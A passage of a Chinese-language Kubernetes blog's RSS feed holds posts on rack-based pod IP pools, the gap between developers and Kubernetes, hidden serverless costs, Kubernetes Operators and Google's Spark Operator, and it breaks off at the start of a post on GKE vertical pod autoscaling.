&lt;li&gt;&lt;p&gt;检查地址池的工作状态&lt;/p&gt;

&lt;p&gt;创建一个 Nginx 的 Deployment，其中包含五个副本，保证分配到每一个节点上。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl run nginx --image nginx --replicas 5
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查新的 Pod 是否已经根据所在机架获得了应有的 IP 地址。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;NAME                   READY   STATUS    RESTARTS   AGE    IP             NODE          NOMINATED NODE   READINESS GATES
nginx-5c7588df-prx4z   1/1     Running   0          6m3s   192.168.0.64   kube-node-0   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
nginx-5c7588df-s7qw6   1/1     Running   0          6m7s   192.168.0.129  kube-node-1   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
nginx-5c7588df-w7r7g   1/1     Running   0          6m3s   192.168.1.65   kube-node-2   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
nginx-5c7588df-62lnf   1/1     Running   0          6m3s   192.168.1.1    kube-node-3   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
nginx-5c7588df-pnsvv   1/1     Running   0          6m3s   192.168.1.64   kube-node-2   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，IP 地址的是根据节点（所在的机架）来选择了对应的地址池进行分配的。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>开发和 Kubernetes 之间的鸿沟</title>
      <link>/post/gap-between-dev-and-k8s/</link>
      <pubDate>Tue, 05 Feb 2019 22:01:13 +0800</pubDate>
      <guid>/post/gap-between-dev-and-k8s/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://medium.com/@kent.rancourt/theres-a-gap-between-devs-and-kubernetes-f67f06c73454&#34; target=&#34;_blank&#34;&gt;There’s a Gap Between Devs and Kubernetes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://medium.com/@kent.rancourt/&#34; target=&#34;_blank&#34;&gt;Kent Rancourt&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;我用 Kubernetes 谋生，多数时间里，我都在为 Kubernetes 开发开源软件平台、中间件以及工具。我经常会问我自己以及我的同事：“我们要解决的问题是什么？”以及“我们要为谁解决问题？”。这种提问让我们能够保持对目标的专注，明确产品的价值。我也会把类似的问题抛给前同事们以及本地 Meetup 的参与者——他们各自的公司都在 “Kubernetes 之旅”的途中。如果他们正在构建或准备采用的是一个新的 Kubernetes 的相关工具，我通常会询问要解决的问题以及为谁解决问题。更多情况下，我会询问他们在采用 Kubernetes 的过程中遇到的问题。&lt;/p&gt;

&lt;p&gt;不管采用 Kubernetes 的进度如何，两个回应是最常见的。第一个是“Kubernetes 太难了”，另一个是“Kubernetes 的抽象是错的”。第二个问题经常会用设问的方式提出：“Kubernetes 的抽象对么？”。&lt;/p&gt;

&lt;p&gt;这种陈述缺乏了重要的上下文。其中没有澄清 Kubernetes 对&lt;strong&gt;谁&lt;/strong&gt;来说太难了？对&lt;strong&gt;谁&lt;/strong&gt;来说抽象有问题？在进一步的探求中，我得到的答案基本上来说是一致的：“开发者”。那么前面的陈述就可以修正为：Kubernetes 对开发者来说太难了，对开发者来说，Kubernetes 的抽象是不对的。&lt;/p&gt;

&lt;p&gt;“对开发者来说，Kubernetes 的抽象是错误的”，这个陈述通常的意思就是，Kubernetes 只提供了用于声明应用部署和服务的原语，而开发者更多关注的是商业价值的交付过程，而非 Kubernetes 细枝末节的学习，Kubernetes 没有提供更符合开发者期待的抽象模型。它没有提供部署应用的直接选项。两个问题合二为一——对于开发者来说，Kubernetes 的抽象是错误的，因此就太难了。&lt;/p&gt;

&lt;p&gt;对此，我的观点是，Kubernetes 不是为开发者而生的。很多人会同意我的观点，但是令人惊奇的是，很多人压根没想过这个问题。&lt;/p&gt;

&lt;p&gt;更少就是更多？对开发者来说，正确的抽象就是完全不抽象？毕竟在 Kubernetes 甚至是 Docker 诞生之前的几十年里，开发者一直使用自己惯用的技术栈进行开发和测试，所谓的应用抽象（或者 Kubernetes）的缺失，并不会让这些工作无法进行。我对开发者的建议是，开发者可以不关注 Kubernetes。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-是谁的&#34;&gt;Kubernetes 是谁的？&lt;/h2&gt;

&lt;p&gt;在 Kubernetes 之前，组织中会存在一个角色，可以称其为部署专家，这个角色的职责是构建并部署应用和服务。他们需要对平台或相应的技术堆栈有着相当详细的认识，还可能需要一些复杂的、深奥的知识背景，有些自制的部署工具，以及大量的脚本。其工作可能是：部署 Ruby 应用、Python 应用、Tomcat 上的 Java 应用、WebSphere 应用等等不同的任务。这些人才是 Kubernetes 的目标用户——他们熟知应用部署的知识。Kubernetes 为这些用户提提供了能描述所有（容器化）应用的一致的部署模型，能够很好地提高其生产力并降低其学习成本。&lt;/p&gt;

&lt;p&gt;经常有一个对 Kubernetes 的误解就是平台（“平台即服务”中的平台），其实它不是。即使是清楚这一点的人也往往对此视而不见，这样就会忽视掉部署专家这一角色的存在。潜意识中，对开发人员产生了一种不切实际的期望：他们应该能够自己使用 Kubernetes，从而可以取代部署专家这一角色。&lt;/p&gt;

&lt;p&gt;知道了这些，也就成功了一半了。Kubernetes 并非为开发人员而生，更进一步思考，有三个可能的办法。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;我认为最好将开发专家的角色重新加入组织。要完成这一过程，部署专家必须融入到开发团队中，或至少与开发团队紧密合作——和过去一样。我倾向于这种方法的原因是一个称职的部署专家能够优化部署并完成复杂的场景，其他方法难于做到这一点。不幸的是，这种办法可能最难落地。这种方式要对组织进行改进而非技术，从而弥合开发者和 Kubernetes 之间的鸿沟，但是大多数组织缺乏这样的自觉和进取心。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;可能你是一个初创企业，只有五个开发者，没人想再承担一个部署专家的角色；又可能你是一个有几千开发者的企业，无法将部署专家的角色扩展到支持整个开发团队，资源限制之下，第一个办法无法实施。这种情况下，就只能靠工具或者平台之类的技术手段来拉近开发者和 Kubernetes 了。坦率的说，这就是我和很多人的饭碗。然而不要低估识别和构建合适方案的成本（自建平台正在大行其道），其所需成本可能轻松地超越第一种方法。另外也不应忽视的一点是，平台和工具也都有自己的侧重点，可能会让用户陷入新的困境。用两个新问题解决一个旧问题可能不是个好办法。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;最后一点，可能你的组织还没有准备好采用 Kubernetes——甚至可能并不需要它。如果一个 Heroku 这样的 PaaS 甚至一个非 Kubernetes 的自建平台能够满足组织的需求，为什么还要给 Kubernetes 缴税？这种情况下，消灭开发人员和 Kubernetes 之间鸿沟的最好方法就是——不要使用 Kubernetes。再次提醒：准备好受到限制，并清楚认识未来走向。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;Kubernetes 并非为开发者而生，不要太快的认为，技术是唯一填补这一鸿沟的方法。强烈建议考虑，首先在组织层面做出改变。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>发现 Serverless 应用中的隐形成本</title>
      <link>/post/finding-serverless-hidden-costs/</link>
      <pubDate>Tue, 05 Feb 2019 16:18:33 +0800</pubDate>
      <guid>/post/finding-serverless-hidden-costs/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://thenewstack.io/finding-serverless-hidden-costs/&#34; target=&#34;_blank&#34;&gt;Finding Serverless’ Hidden Costs&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://thenewstack.io/author/nitzan-shapira/&#34; target=&#34;_blank&#34;&gt;Nitzan Shapira&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;提到 Serverless 这一概念，除了无需自行维护基础设施之外，另外一个亮点就是按使用付费。&lt;/p&gt;

&lt;p&gt;像 &lt;a href=&#34;https://aws.amazon.com/lambda/&#34; target=&#34;_blank&#34;&gt;AWS Lambda&lt;/a&gt; 这样的服务，代码每运行 100 毫秒，就需要&lt;a href=&#34;https://thenewstack.io/finding-serverless-hidden-costs/&#34; target=&#34;_blank&#34;&gt;支付&lt;/a&gt;一定的费用。例如 512 MB 内存的 Lambda 的（每 100 毫秒）费率是 $0.000000834。最好的一点是，如果代码没有运行，就无需支付费用——在一些大的组织机构中，如果服务器的使用率低于 20%，这种无服务器的方式会在财务上带来巨大的成本节约。&lt;a href=&#34;https://read.acloud.guru/how-going-serverless-helped-us-reduce-costs-by-70-255adb87b093&#34; target=&#34;_blank&#34;&gt;企业已经注意到了这一点&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;这有问题么？没有。这个技术很有意思。然而新技术总是有风险的，必须做出识别和防范。特拉维夫 AWS Community Day 上，&lt;a href=&#34;https://www.youtube.com/watch?v=rVCx8dHidGg&#34; target=&#34;_blank&#34;&gt;The Real Cost of Pay-Per-Use in Serverless&lt;/a&gt; 这篇谈话中，&lt;a href=&#34;https://twitter.com/ranrib&#34; target=&#34;_blank&#34;&gt;Ran Ribenzaft&lt;/a&gt; 说到了 Serverless 技术中几个方面的成本问题。下文将会说到其中的一部分。&lt;/p&gt;

&lt;h2 id=&#34;服务硬件配置是否越低越好&#34;&gt;服务硬件配置是否越低越好&lt;/h2&gt;

&lt;p&gt;部署一个无服务器函数的时候，第一个选择往往就是内存和 CPU。Lambda 中，这两个参数是绑定的一系列固定选择。更大的内存就对应着更高的价格。这么看来，选择较低的内存会省钱对么？不是的，过低的内存可能带来以下问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;更低的内存配置一般也对应着更低的 CPU 配置，也就意味着更长的运行时间，甚至可能造成超时。超时的严重程度可以与台式机的关机相提并论，是大家非常不愿见到的情况。&lt;/li&gt;
&lt;li&gt;更长的运行时间当然也代表着更高的成本。所以降低内存配置可能会取得一个相反的效果。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在 &lt;a href=&#34;https://epsagon.com/blog/how-to-make-lambda-faster-memory-performance-benchmark/&#34; target=&#34;_blank&#34;&gt;AWS Lambda 的性能测试&lt;/a&gt;中，发现一个令人惊奇的结果：性能和价格同步上升——直到某点之后，配置的提高不再带来性能的提升。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://cdn.thenewstack.io/media/2019/01/c4413b04-epsagon1.png&#34; alt=&#34;Price vs Performance&#34; /&gt;&lt;/p&gt;

&lt;p&gt;所以想要一次确定 CPU 和内存的最佳方案是不太实际的。函数自身也会发生变更和升级，对配置的需要也有发生变化的肯能。&lt;/p&gt;

&lt;p&gt;所以该怎么办？&lt;/p&gt;

&lt;h3 id=&#34;对执行时间和内存用量进行监控&#34;&gt;对执行时间和内存用量进行监控&lt;/h3&gt;

&lt;p&gt;一般来说在复杂系统中，在你不知道你不知道的情况下，会发生最严重的问题。可观测性是一个关键点——不仅是检测异常和性能瓶颈，还要知道函数的内存消耗和执行时间。最有用的方式之一就是，在问题发生之后的告警之外，尝试预测问题发生的可能。可以通过静态规则以及用峰值和常规行为进行对比的方式来进行这种尝试。&lt;/p&gt;

&lt;h3 id=&#34;昂贵的-api-调用&#34;&gt;昂贵的 API 调用&lt;/h3&gt;

&lt;p&gt;一个主要的观察结果就是，性能和账单是直接相关的。代码运行越慢、就要付出更多。无服务器的总成本由两个因素组成：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;运行业务逻辑的时间&lt;/li&gt;
&lt;li&gt;等待 API 调用返回的时间&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&#34;https://epsagon.com/blog/the-importance-and-impact-of-apis-in-serverless/&#34; target=&#34;_blank&#34;&gt;The Importance and Impact of APIs in Serverless&lt;/a&gt; 的演示中，对一个 &lt;a href=&#34;https://auth0.com/&#34; target=&#34;_blank&#34;&gt;Auth0&lt;/a&gt; 这样的常见服务的简单调用，可能会消耗 Lambda 函数中的 80% 的时间。这并不是说不应该使用第三方 API，正好相反，创建完全无服务器的可伸缩应用，使用第三方应用是一个关键。然而应该对自己的选择有深入了解，相对于传统应用，对工具的配置在无服务器应用中可能会产生更大的影响。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/7120925f-epsagon2.png&#34; alt=&#34;api calling&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;让账单变得可以预测&#34;&gt;让账单变得可以预测&lt;/h2&gt;

&lt;p&gt;虽然从传统上来说，云计算的账单很复杂且难于理解，通常还是可以预测的——买一千个虚拟机，一般是大约知道可能发生的费用的。在 Lambda 以及一些像 &lt;a href=&#34;https://aws.amazon.com/rds/aurora/serverless/&#34; target=&#34;_blank&#34;&gt;Amazon Aurora Serverless&lt;/a&gt; 这样的新服务来说，账单变得更加动态，更难预测。&lt;/p&gt;

&lt;h3 id=&#34;预测成本&#34;&gt;预测成本&lt;/h3&gt;

&lt;p&gt;成本预估是控制支出的有效方法。根据目前的花费情况，可以预测本月的最终成本。成本预测是一种简单有效的防止超支的方式。简单的预测公式：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;月度支出 = 当前支出*（本月天数/当前日期）
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;例如本月有 30 天，今天是 15 号，本月已经消费了 $200，那么就可以预计到月底的花费应该是 $400。这种预测对于单独的函数或者整体成本都是有效的，在 Epsagon，函数视图中包含了每个函数的预测。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/21a6eabb-epsagon3.png&#34; alt=&#34;Epsagon 3&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;成本监控&#34;&gt;成本监控&lt;/h3&gt;

&lt;p&gt;正如使用性能监控工具来保障应用的正常运行一样，无服务器函数也需要对成本进行监控。&lt;a href=&#34;https://epsagon.com/&#34; target=&#34;_blank&#34;&gt;Epsagon&lt;/a&gt; 的案例研究中，我们分享了一个&lt;a href=&#34;https://www.youtube.com/watch?v=MZmw-bb02Uo&#34; target=&#34;_blank&#34;&gt;故事&lt;/a&gt;，其中一个 Lambda 函数有严重的问题，它会以很高的并发方式运行，最终导致了每月 $12k 的成本。幸运的是，我们对自己的系统进行了监控。另外还发生过大公司发现过&lt;a href=&#34;https://thenewstack.io/serverless-pricing-estimating-consumption-costs/&#34; target=&#34;_blank&#34;&gt;价值 $50,000 的 bug&lt;/a&gt; 的问题，也多亏了 Epsagon 的监控功能。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://cdn.thenewstack.io/media/2019/01/c0624db5-epsagon4.png&#34; alt=&#34;epsagon 4&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://epsagon.com/blog/how-much-does-aws-lambda-cost/&#34; target=&#34;_blank&#34;&gt;Lambda 成本计算器&lt;/a&gt;是一个开源工具，能帮助用户理解函数的可能花费。&lt;/p&gt;

&lt;h2 id=&#34;写在最后&#34;&gt;写在最后&lt;/h2&gt;

&lt;p&gt;按使用付费的方式是一个绝妙的概念，让无服务器应用能够大幅降低成本。但是性能问题可能直接影响月度账单，是一个值得注意的问题。&lt;/p&gt;

&lt;p&gt;成本的预测和监控能够降低意外高额账单的风险。特别需要指出的是，无服务器应用中的 API 应该小心使用并注意监控，因为它有成为主要的性能和成本瓶颈的可能。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>马后炮：Operator for Spark 之后</title>
      <link>/post/operator-between-dev-and-ops/</link>
      <pubDate>Fri, 01 Feb 2019 21:12:34 +0800</pubDate>
      <guid>/post/operator-between-dev-and-ops/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://blog.fleeto.us/post/google-announces-k8s-operator-for-spark/&#34; target=&#34;_blank&#34;&gt;Google 宣布 Kubernetes Operator for Spark&lt;/a&gt; 之后，朋友们的评价主要集中在 GCP 对大数据的浓厚兴趣上；我觉得还有一个解读就是，我以前可能低估了 Operator 的重要地位，因此有了本文。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;

&lt;p&gt;CoreOS 最初在 2016 年底发布 Operator 概念时，称其主旨为：&lt;a href=&#34;https://coreos.com/blog/introducing-operators.html&#34; target=&#34;_blank&#34;&gt;Putting Operational Knowledge into Software&lt;/a&gt;，也就是将运维技能融入软件，在翻译该声明时，也只是觉得这一说法很有趣，但是在 GCP 发布了 Spark Operator 之后，我觉得似乎有必要回顾一下，Operator 到底是要用来做什么的。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;我们的团队正在 Kubernetes 社区进行一个概念的设计和实现，这一概念就是：在 Kubernetes 基础之上，可靠的创建、配置和管理复杂应用的方法。
我们把这种软件称为 Operator。一个 Operator 指的是一个面向特定应用的控制器，这一控制器对 Kubernetes API 进行了扩展，使用 Kubernetes 用户的行为方式，创建、配置和管理复杂的有状态应用的实例。他构建在基础的 Kubernetes 资源和控制器概念的基础上，但是包含了具体应用领域的运维知识，实现了日常任务的自动化。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;上面一篇文字来自我对原文的译稿：&lt;a href=&#34;https://blog.fleeto.us/post/operator-for-kubernetes/&#34; target=&#34;_blank&#34;&gt;Operator：固化到软件中的运维技能&lt;/a&gt;，这一段文字分析一下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;复杂应用：一般来说，Kubernetes 上的复杂应用，指的主要是两种：有状态或者有协作。&lt;/li&gt;
&lt;li&gt;创建、配置和管理：在软件的开发阶段之后，就进入了 Operator 的管理范围了。&lt;/li&gt;
&lt;li&gt;使用 Kubernetes 用户的行为方式：Kubectl、API Server、声明式的 API、资源、YAML。。。&lt;/li&gt;
&lt;li&gt;特定应用的控制器：在软件的“本体”之外，还需要实现一个控制单元，用来完成对专属资源的解释和执行。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;粗看上来，这东西有点多余，多学东西、多写东西，为的就是在 Kubernetes 上用 Kubectl 操作 YAML 的方式来装软件配置软件？老夫早已熟悉各种 ini xml json toml 等乌七八糟的配置方式。要这东西有什么用呢？&lt;/p&gt;

&lt;p&gt;为了示范 Operator 的功能，CoreOS 特意开放了两个 Operator：&lt;a href=&#34;https://github.com/coreos/etcd-operator&#34; target=&#34;_blank&#34;&gt;ETCD&lt;/a&gt; 和 &lt;a href=&#34;https://github.com/coreos/prometheus-operator&#34; target=&#34;_blank&#34;&gt;Prometheus&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;例如 ETCD Operator，通过一定的 YAML 定义，可以完成以下功能：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;创建集群&lt;/li&gt;
&lt;li&gt;集群伸缩&lt;/li&gt;
&lt;li&gt;故障应对&lt;/li&gt;
&lt;li&gt;集群升级&lt;/li&gt;
&lt;li&gt;备份和恢复&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;同时 CoreOS 还提供了 &lt;a href=&#34;https://github.com/operator-framework&#34; target=&#34;_blank&#34;&gt;Operator Framework&lt;/a&gt; 进行 Operator 的开发。&lt;/p&gt;

&lt;h2 id=&#34;当运维遇上-operator&#34;&gt;当运维遇上 Operator&lt;/h2&gt;

&lt;p&gt;Operator 的功能，稍微理解一下，就看得出它提出了一个新的运维方式：使用 Kubernetes 原生 API 或者 Kubectl 等基于这种 API 的工具来替换原本各走各路的运维方式。把原有的各种系统的部署和配置方式，转换为 Kubernetes 世界中的 CRD，利用 CRD 的资源对象来完成各种运维任务。&lt;/p&gt;

&lt;p&gt;这实际上是将运维操作进行了一次抽象，用一致的界面来完成各种不同的运维动作，在理想情况下，一个软件系统提供的 Operator 丰富到覆盖其所有应用场景，那么他的所有运维操作都是可以通过 API Server 接口来进行控制，这给运维工作带来很大的便利：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;避免学习该软件的配置方言，降低上手难度。&lt;/li&gt;
&lt;li&gt;使用模板渲染的方式，能够迅速的将该软件的运维需要转换为流程化、自动化操作。&lt;/li&gt;
&lt;li&gt;增强的控制能力，能够方便的进行 CI/CD 集成。&lt;/li&gt;
&lt;li&gt;声明式 API，对运维过程的管理，提供了更高的透明、可控、版本化等优势。&lt;/li&gt;
&lt;li&gt;现有的控制门户等运维设施，也能完成新系统的快速接入。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;上述种种优势，对运维工作来说都是很有帮助的，然而面对现实，还是有一些限制的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;平台限制：很明显，几乎只有 Kubernetes 上的应用才能享受 Operator 的优势。&lt;/li&gt;
&lt;li&gt;数量稀少：目前有提供 Operator 的软件还是九牛一毛，未能产生规模效应，配置方言的学习并无法避免。&lt;/li&gt;
&lt;li&gt;设计困难：Operator Controller 定义 CRD，然后使用 API 提交 CRD 资源对象的方式看上去很不错，但是要用 CRD 定义一个系统的所有场景，谈何容易，官方的 Prometheus Operator 基本无法生产应用就是明证。&lt;/li&gt;
&lt;li&gt;Operator 失败的情况下，其原始的方言配置未必能够在 Kubernetes + Operator 环境中奏效。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;最大的一个问题，Operator 是需要开发的，谁来负责他的工作量呢？&lt;/p&gt;

&lt;h2 id=&#34;当开发遇上-operator&#34;&gt;当开发遇上 Operator&lt;/h2&gt;

&lt;p&gt;对开发来说，Operator 如果流行，可能不是一个好消息。&lt;/p&gt;

&lt;p&gt;目前的企业系统开发中，通常对于最终用户的界面、以及应用之间的 API 管理都有详尽的需求、设计和测试等文档要求，然而在&lt;strong&gt;运维是自己人&lt;/strong&gt;的情况下，因为&lt;strong&gt;并不影响交付&lt;/strong&gt;，很多&lt;strong&gt;中间、自用系统&lt;/strong&gt;的运维工作设计，往往就糊弄了事了&lt;/p&gt;

&lt;p&gt;如果 Operator 落地开花，就产生了一个副作用——需要修改交付标准：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;把运维当成用户&lt;/li&gt;
&lt;li&gt;运维用户自然也应该有针对性的需求调研分析&lt;/li&gt;
&lt;li&gt;要有详尽的运维场景设计&lt;/li&gt;
&lt;li&gt;对于 Operator CRD 无法完整覆盖的情况下，要有降级的措施准备。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;通过上面粗浅的分析，可以看出要落地使用 Operator，对 DevOps 的两端都需要有一点点的变化：Dev 的交付标准，和 Ops 的工作方式。&lt;/p&gt;

&lt;p&gt;带来的好处也不太醒目：声明化、标准化和自动化。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Google 宣布 Kubernetes Operator for Spark</title>
      <link>/post/google-announces-k8s-operator-for-spark/</link>
      <pubDate>Fri, 01 Feb 2019 18:29:25 +0800</pubDate>
      <guid>/post/google-announces-k8s-operator-for-spark/</guid>
      <description>

&lt;p&gt;作者：&lt;a href=&#34;https://www.zdnet.com/meet-the-team/us/andrew-brust/#ftag=CAD-00-10aag7e&#34; target=&#34;_blank&#34;&gt;Andrew Brust&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;原文：&lt;a href=&#34;https://www.zdnet.com/google-amp/article/google-announces-kubernetes-operator-for-apache-spark&#34; target=&#34;_blank&#34;&gt;Google announces Kubernetes Operator for Apache Spark&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Spark Operator” 的 Beta 版本，可以用来在 Kubernetes 上执行原生 Spark 应用，无需 Hadoop 或 Mesos。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&#34;https://spark.apache.org/&#34; target=&#34;_blank&#34;&gt;Apache Spark&lt;/a&gt;是一个流行的执行框架，用于执行数据工程和机器学习方面的工作负载。他提供 &lt;a href=&#34;http://www.databricks.com/&#34; target=&#34;_blank&#34;&gt;Databricks&lt;/a&gt; 平台的支持，可用于内部部署的或者公有云的 Hadoop 服务，例如 &lt;a href=&#34;https://azure.microsoft.com/services/hdinsight/&#34; target=&#34;_blank&#34;&gt;Azure HDInsight&lt;/a&gt;、&lt;a href=&#34;https://aws.amazon.com/emr/&#34; target=&#34;_blank&#34;&gt;Amazon EMR&lt;/a&gt;、以及 &lt;a href=&#34;https://cloud.google.com/dataproc/&#34; target=&#34;_blank&#34;&gt;Google Cloud Dataproc&lt;/a&gt;，也可以在 &lt;a href=&#34;http://mesos.apache.org/&#34; target=&#34;_blank&#34;&gt;Mesos&lt;/a&gt; 集群上运行。&lt;/p&gt;

&lt;p&gt;但是如果只是想在 &lt;a href=&#34;https://kubernetes.io/&#34; target=&#34;_blank&#34;&gt;Kubernetes(k8s)&lt;/a&gt; 而非 Mesos 上运行 Spark 工作负载，也不想使用 &lt;a href=&#34;https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/YARN.html&#34; target=&#34;_blank&#34;&gt;YARN&lt;/a&gt;，这可行么？Spark 在 2.3 版本中首次加入了针对 Kubernetes 的功能，并在 2.4 中进行了进一步增强，然而让 Spark 用全集成的方式原生运行在 Kubernetes 上，仍然是非常有挑战的。&lt;/p&gt;

&lt;h2 id=&#34;kube-operator&#34;&gt;Kube Operator&lt;/h2&gt;

&lt;p&gt;Kubernetes 的始作俑者 Google，宣布了 &lt;a href=&#34;https://github.com/GoogleCloudPlatform/spark-on-k8s-operator&#34; target=&#34;_blank&#34;&gt;Kubernetes Operator for Apache Spark&lt;/a&gt; 的 Beta 版本，简称 &lt;code&gt;Spark Operator&lt;/code&gt;。Spark Operator 让 Spark 可以原生运行在 Kubernetes 集群上。 Spark 应用（这些应用用于分析、数据工程或者机器学习）可以部署在这些集群上运行，像在其它集群上一样。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/spark-operator-architectecure-diagram.png&#34; alt=&#34;Spark Operator Architectecure&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Google 声明，Spark Operator 是一个 &lt;a href=&#34;https://kubernetes.io/docs/concepts/api-extension/custom-resources/#custom-controllers&#34; target=&#34;_blank&#34;&gt;Kubernetes 自定义控制器&lt;/a&gt;，其中使用&lt;a href=&#34;https://github.com/GoogleCloudPlatform/spark-on-k8s-operator/blob/master/docs/api.md&#34; target=&#34;_blank&#34;&gt;自定义资源&lt;/a&gt;来声明 Spark 应用的元数据；它还支持自动重启动以及基于 &lt;a href=&#34;https://en.wikipedia.org/wiki/Cron&#34; target=&#34;_blank&#34;&gt;cron&lt;/a&gt; 的计划任务。今后，开发者、数据工程师以及数据科学家可以创建声明式的规范，来描述他们的 Spark 应用，并使用原生的 Kubernetes 工具（例如 Kubectl）来管理他们的应用。&lt;/p&gt;

&lt;h2 id=&#34;现在就试试&#34;&gt;现在就试试&lt;/h2&gt;

&lt;p&gt;Spark Operator 目前在 &lt;a href=&#34;https://console.cloud.google.com/marketplace/details/google/spark-operator&#34; target=&#34;_blank&#34;&gt;GCP 的 Kubernetes 市场&lt;/a&gt;中已经可用，可以方便的部署到 &lt;a href=&#34;https://cloud.google.com/kubernetes-engine/&#34; target=&#34;_blank&#34;&gt;Google Kubernetes Engine(GKE)&lt;/a&gt;。另外 Spark Operator 是一个开源项目，能够部署在任何 Kubernetes 环境中，项目的 Github 页面提供了基于 Helm Chart 的&lt;a href=&#34;https://github.com/helm/charts/tree/master/incubator/sparkoperator&#34; target=&#34;_blank&#34;&gt;安装指南&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;如果 Amazon 和微软这样的厂商任何并在自家的 Kubernetes 服务上（微软的 AKS 以及 Amazon 的 ECS）提供 Spark Operator 的部署方式，会是个有意思的局面。这对他们的客户来说会是一个很棒的服务，客户并不想要在 EMR、HDInsight 或者 Daabricks 的工作空间和集群上付出开销。&lt;/p&gt;

&lt;h2 id=&#34;hadoop-怎么办&#34;&gt;Hadoop 怎么办&lt;/h2&gt;

&lt;p&gt;很多非 Databricks 的 Spark 集群是运行在 Hadoop 上的。Spark Operators 的出现，是否意味着 Hadoop 的影响被削弱了？Hadoop 团队也并非游手好闲之辈，例如 &lt;a href=&#34;https://hortonworks.com/blog/bringing-cloud-native-architecture-to-big-data-in-the-data-center/&#34; target=&#34;_blank&#34;&gt;开放混合架构草案&lt;/a&gt;就聚焦于 Hadoop 的容器化。另外上周发布的 &lt;a href=&#34;https://blogs.apache.org/foundation/entry/the-apache-software-foundation-announces45&#34; target=&#34;_blank&#34;&gt;Hadoop 3.2&lt;/a&gt;，其功能就包括了对 &lt;a href=&#34;https://www.tensorflow.org/&#34; target=&#34;_blank&#34;&gt;Tensorflow&lt;/a&gt; 的支持，&lt;a href=&#34;https://azure.microsoft.com/en-us/services/storage/data-lake-storage/&#34; target=&#34;_blank&#34;&gt;Azure Data Lake Storage Gen2&lt;/a&gt; 的链接支持以及增强的&lt;a href=&#34;https://aws.amazon.com/s3/&#34; target=&#34;_blank&#34;&gt;Amazon S3&lt;/a&gt; 的增强支持。&lt;/p&gt;

&lt;p&gt;消费者和往常一样，将在激烈的竞争中获益。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>GKE 中配置 Pod 的垂直伸缩</title>
      <link>/post/vertical-pod-autoscaling/</link>
      <pubDate>Wed, 23 Jan 2019 07:46:52 +0800</pubDate>
      <guid>/post/vertical-pod-autoscaling/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://cloud.google.com/kubernetes-engine/docs/how-to/vertical-pod-autoscaling&#34; target=&#34;_blank&#34;&gt;Configuring vertical pod autoscaling&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
